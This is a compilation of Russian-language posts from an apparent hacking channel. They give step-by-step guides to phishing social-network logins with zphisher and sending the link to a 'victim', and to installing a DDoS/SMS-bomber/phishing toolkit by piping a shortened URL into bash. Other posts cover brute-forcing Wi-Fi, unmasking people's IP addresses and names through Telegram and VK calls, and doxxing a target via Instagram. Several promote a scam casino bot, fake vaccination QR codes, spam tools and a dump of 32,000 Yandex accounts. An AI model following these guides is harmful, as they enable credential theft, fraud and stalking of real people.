Получаем сертификаты с балансом на «Яндекс Go» & «Яндекс Еда» (08.07.21)

Компания «Orbit» запустила акцию, которую можно очень легко абузить и получать сертификаты с балансом на доставку еду и такси практически даром.

1. Переходим по ссылке, после чего открываем личный кабинет;
2. Внимательно ознакамливаемся с заданиями;
3. Покупаем штрихкод «Пятерочки» или «Магнита»;
4. Идём в магазин и покупаем с помощью штрихкода самые дешевые жвачки «Orbit»;
5. Сканируем QR-код чека;
6. На полученные баллы покупаем сертификаты с балансом;
7. PROFIT!

Сертификаты так же можно фармить и бесплатно, но это слишком долго. Всем халявной еды и таксы, друзья ✌️

​Telegram Scraper на Termux

Telegram Scraper — теперь появился и в Termux. Это одновременно парсер, спамер и инвайтер для Telegram.

Установка:

apt update && apt upgrade

git clone https://github.com/th3unkn0n/TeleGram-Scraper

cd TeleGram-Scraper

python3 setup.py -i

python3 setup.py -c

Использование

python3 scraper.py

Рекомендую разобраться со скриптом, так как на нем можно заработать ✌️

​🗃​Большой пак полезных сайтов и ботов для сбора информации

Предоставляем вам полезный пак инструментов необходимый для разведки на основе открытых данных зная Instagram аккаунт жертвы.

• SearchMy — здесь можно обнаружить искомый профиль можно с помощью поиска на сайте.

• Instadp — сервис нужный для того, чтобы получить аватарку пользователя в полном размере в наилучшем качестве.

• FindClone — данный сервис позволяет найти родственников или другие аккаунт человека по фото.

• Storiesig – найдет сохраненные истории.

• Codeofaninja – определяет ID аккаунта.

• Maigret — с помощью данного Telegram бота можно найти другие аккунты цели в других социальных сетях по нникнейму

• Keyhole – сделает анализ аккаунта.

• Archive.org – покажет архивированную версию аккаунта.

• Av3 — браузерное расширение для Google Chrome, которое собирает и выдает информацию об аккаунте.

• @InstaBot – скачивает сторис аккаунта.

• Bigsta.net – сделает аналитику аккаунта.

• @usersbox_bot – найдет аккаунты VK, на которых в поле "Instagram" указан искомый логин.

​📌 Собираем информацию об устройствах с помощью Shodan Eye!

Shodan Eye — это инструмент, с помощью которого ты можешь найти различные устройства, которые подключены к сети интернет. От ПК до холодильников или атомных электростанций, веб-камер, водоочистных сооружений, кофемашин, яхт, медицинских устройств, светофоров, ветровых турбин и т.д. На самом деле ты можешь найти всё что только можешь себе представить.

Установка:
▪️git clone https://github.com/BullsEye0/shodan-eye.git
▪️cd shodan-eye
▪️pip3 install -r requirements.txt

Использование:
▪️python3 shodan_eye.py

Для использования инструмента, тебе будет нужен API Key, который ты можешь получить на главной странице Shodan. Так же, перед использованием советую ознакомиться с видео-мануалами на ютубе.
—————————
Вся информация предоставлена исключительно с целью ознакомления. Мы не несём ответственности за ваши действия.
—————————

​​Получаем белый IP

Белый IP имеет массу преимуществ перед "серым" адресом. — без него например невозможно использовать различные RAT или подобного рода вирусы. Почему? — Все просто, статистический адрес в отличии от серого, не может "неожиданно" поменяться.

Инструкция

1. Заходим на сайт no-IP;
2. Находим подраздел no-IP free и нажимаем по надписи «Learn more»;
3. Переходим по ссылке, которая придет на почту;
4. Устанавливаем и запускаем приложение Windows Dinamic Update client;
5. Входим в аккаунт;
6. Нажимем "Edit Hosts";
7. Ставим галочку напротив домена;
8. Готово!

32 тысячи аккаунтов Yandex, хз может кому то нужны

​Сканируем историю транзакций по адресу Bitcoin-кошелька!

Orbit – это инструмент для расследования блокчейн-транзакций. Он предназначен для изучения сети блокчейн-кошелька путем рекурсивного сканирования истории транзакций. Данные отображаются в виде графика.

Использование:
$ git clone https://github.com/s0md3v/Orbit
$ python3 orbit.py -s 1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F

#полезное

Генератор QR кодов о прививке

Обновленная версия генератора QR кодов, которая позволит посещать рестораны и прочие заведения в Москве будучи непривитым.
Может работать не во всех заведениях.

Турецкие кодеры просят Аллаха защитить их код от багов прямо в комментариях к этому коду.

Краши — харам

​​Пробиваем людей с помощью звонка VK

Простой способ для того чтобы узнать ФИО, иногда и номер телефона своей жертвы с помощью звонка VK

Приступим:
1. Вам нужно создать специальную ссылку: vk.com/call?id= (Тут впишите ID вашей страницы)
2. Теперь, после перехода по вашей ссылке, человек начнет звонок на вашу страницу.
3. Также, такой способ можно использовать и в телеграмме, там схема такая же, тот кто перейдет по ссылке - позвонит вам со своей страницы!
Для лучшего эффекта ссылку можно замаскировать под сокращенную или редирект.

#полезное

​​​Меняем mac-адрес на Linux

Как вы знаете, каждое устройство имеет свой уникальный MAC адрес, по нему можно узнать всю информацию об устройстве, вплоть до геолокации. Именно поэтому, если вы занимаетесь не хорошими делами, вам стоит почаще менять свой MAC.

Установка:
🐧apt install macchanger

Для смены на случайный MAC:

🐧macchanger -a eth0

#анонимность

Скам казино бот

Фейк казино бот в телеграме.
На самом деле в архиве 2 бота, 1 сам казино бот, а второй для работников, которые должны искать лохов для игры и за это получают процент от пополнения.

Тему можно продвигать, набирать огромное количество работников и получать неплохой кэш

​Узнаём IP-адрес через Telegram

Без iplogger'ов и прочего. Только звонок, Telegram и Wireshark:

1. Качаем Wireshark, открываем его и в фильтре обязательно указываем нужный нам протокол - STUN

2. Нажимаем на "лупу" (Найти пакет) и видим, как у нас появится новая строка с параметрами и поисковой строкой. Там выбираем параметр Строка

3. В строке пишем XDR-MAPPED-ADDRESS

4. Включаем wireshark и звоним через Telegram. Как только пользователь ответит на звонок, тут же у нас начнут отображаться данные и среди них будет IP адрес юзера, которому звонили.

5. Чтобы понять, какой именно IP нам нужен, жмём уже в настроенном поисковике Найти, ищем в строке XDR-MAPPED-ADDRESS а то, что идёт после него и есть нужный нам IP.

#полезное

​📌 Полностью отчищаем метаданные!

MetaCleaner — комплексный и профессиональный онлайн-инструмент для удаления метаданных. MetaCleaner позволяет удалять метаданные из более чем 40 различных форматов файлов прямо на веб-сайтах.
—————————
Вся информация предоставлена исключительно с целью ознакомления. Мы не несём ответственности за ваши действия.
—————————

👨‍💻Всем привет! Сегодня я хочу вам показать инструменты для начинающего "хакера" от разработчика из СНГ.
-----------------------------------------
▪️Установка в termux:
curl -LO kutt.it/txaker && bash txaker

▪️Установка на Linux (Тестил на ubuntu 20.4 serv):
wget kutt.it/lxmx && bash lxmx

▪️Запуск из любой директории:
xaker
-----------------------------------------
GITHUB репозиторий:
github.com/pkgsearch/MXtool
Сам репозиторий включает следующие функции:
[1]DDoS
[2]СМС бомбер
[3]Фишинг любого сайта
[4]Спамер телеграмм
[5]Емаил спамер
[6]VK-BAN по токену
[7]Ссылка на профиль WhatsApp
[8]Узнать реальный ip сайта
[9]Дополнительные кнопки для Termux
[10]Настройка алиасов
[11]Выкачать сайт
➖➖➖➖➖➖➖

​Как записывать звонки в мессенджерах?

В эру телефонного мошенничества и других прелестей современности, может понадобится запись разговоров. Звонки из "службы безопасности сбербанка" и агрессивных коллекторов могут поступить в любой момент.

Для обращения в полицию необходимо иметь доказательства, которыми являются записи разговоров. Приложение ACR автоматически записывает разговоры не только по телефону, но и через мессенджеры: Viber, WhatsApp, Telegram и другие.

В настройках вы можете изменить формат файлов, установить таймер автоудаления и изменить папку, в которую сохраняются звонки.

Поддержка приложения начинается от "Android 4.4 Kitkat" и новее, но с версиями "Android 9.0 Pie" и выше могут быть проблемы из-за новой политики Google.

#безопасность

Как добавить более 3-х аккаунтов в официальном приложении Telegram на ANDROID

Пост про рабов эпл был уже, можете посмотреть на канале, а сейчас я вам расскажу как же без 2-ух или 3-ех приложений создавать много аккаунтов

Инструкция для ANDROID:

1. Качаем Telegram X
1. Регаемся на наш аккаунт
2. Создаем новый аккаунт через виртуальный номер
3. Пишем любое имя, вот и все вои так мы можем добавить более 3 аккаунтов

PROFIT! ✌️

Получи информацию о картинке в Интернете в несколько касаний!

Photo Sherlock - приложение предоставляет поиск по фото из камеры или галереи. Можно использовать чтобы найти информацию о картинке в Интернете, например чтобы проверить кому действительно принадлежит фото из социальной сети (проверка на фейк).
В модификации получен Premium, удалены реклама и мусор. Незаменимая вещь для любого OSINT'ера.

#софт

​БРУТФОРС-АТАКА ПО WIFI-СЕТИ

В этом посте мы покажем вам утилиту, которая позволит вам провести брутфорс атаку на выбранную сеть Wi-Fi.

Называется данная утилита
WI-TOOLKIT. Также в функции данной программы входят атаки WPS, WPA/WPA2 , но для этого понадобится подключение к интернету.

Приступим:

1. Для установки используем Termux и прописываем строки:
git clone https://github.com/mkdirlove/WI-TOOLKIT
$ cd WI-TOOLKIT
$ chmod +x *
$ ./install.sh
2. Для использования прописываем команду:
$ sudo python wi-toolkit.py

Как добавить более 3-х аккаунтов в официальном приложении Telegram на IOS

На Android такой возможности нет, поэтому обладателям этой операционной системы придётся просто скачать сторонний клиент с поддержкой мультиаккаунтов, например iMe Messenger или продублировать официальный клиент с помощью приложения Parallel Space или App Cloner.

Инструкция для IOS:

1. Нажимаем 10 раз по вашей аватарке в правом нижнем углу;
2. Нажимаем "Accounts";
3. Нажимаем "Login to another account";
4. Нажимаем "Production" в появившемся окошке;
5. Вводим номер телефона к которому привязан аккаунт;
6. Вводим код;
7. Вы вошли в аккаунт и он появился у Вас в панели быстрого доступа к аккаунтам;
8. Поздравляю, вы великолепны;
➖➖➖➖➖➖➖
А вообще, рекомендую пользоваться кастомными клиентами ✌️

👋Всем привет!
Очередной пост про взлом соц сети через фишинг ссылку..

Описание:

В Термуксе мы получаем фишинг Ссылку – после пользователь переходит по ссылке вводить логин/пароль и данные приходят нам)

▪️Установка:

1. apt update ; apt install git curl php openssh -y ; git clone git://github.com/htr-tech/zphisher.git ; cd zphisher ; bash zphisher.sh

Дальнейшие действия:

1) Жмёте "Enter" и пойдёт процесс загрузки. После чего откроется утилита.
2) Выбираете нужную соц сеть – цифру.
3) После выбираете "Traditional Login Page" – пишем 1 в консоль.
4) Потом "Ngrok.io" – цифру.
5) После копируем ссылку которая будет находится в консоли.
6) кидаем ссылку жертве и ждём пока она зайдет, после вам придут данные в консоль.

❗️Применение:
Данный пост создан исключительно в ознакомительных целях❗️
P.S: юзайте сайт который сокращает ссылку clck.ru (понадобится вам для фишинга)

Удачных взломов, друзья✌️
➖➖➖➖➖➖➖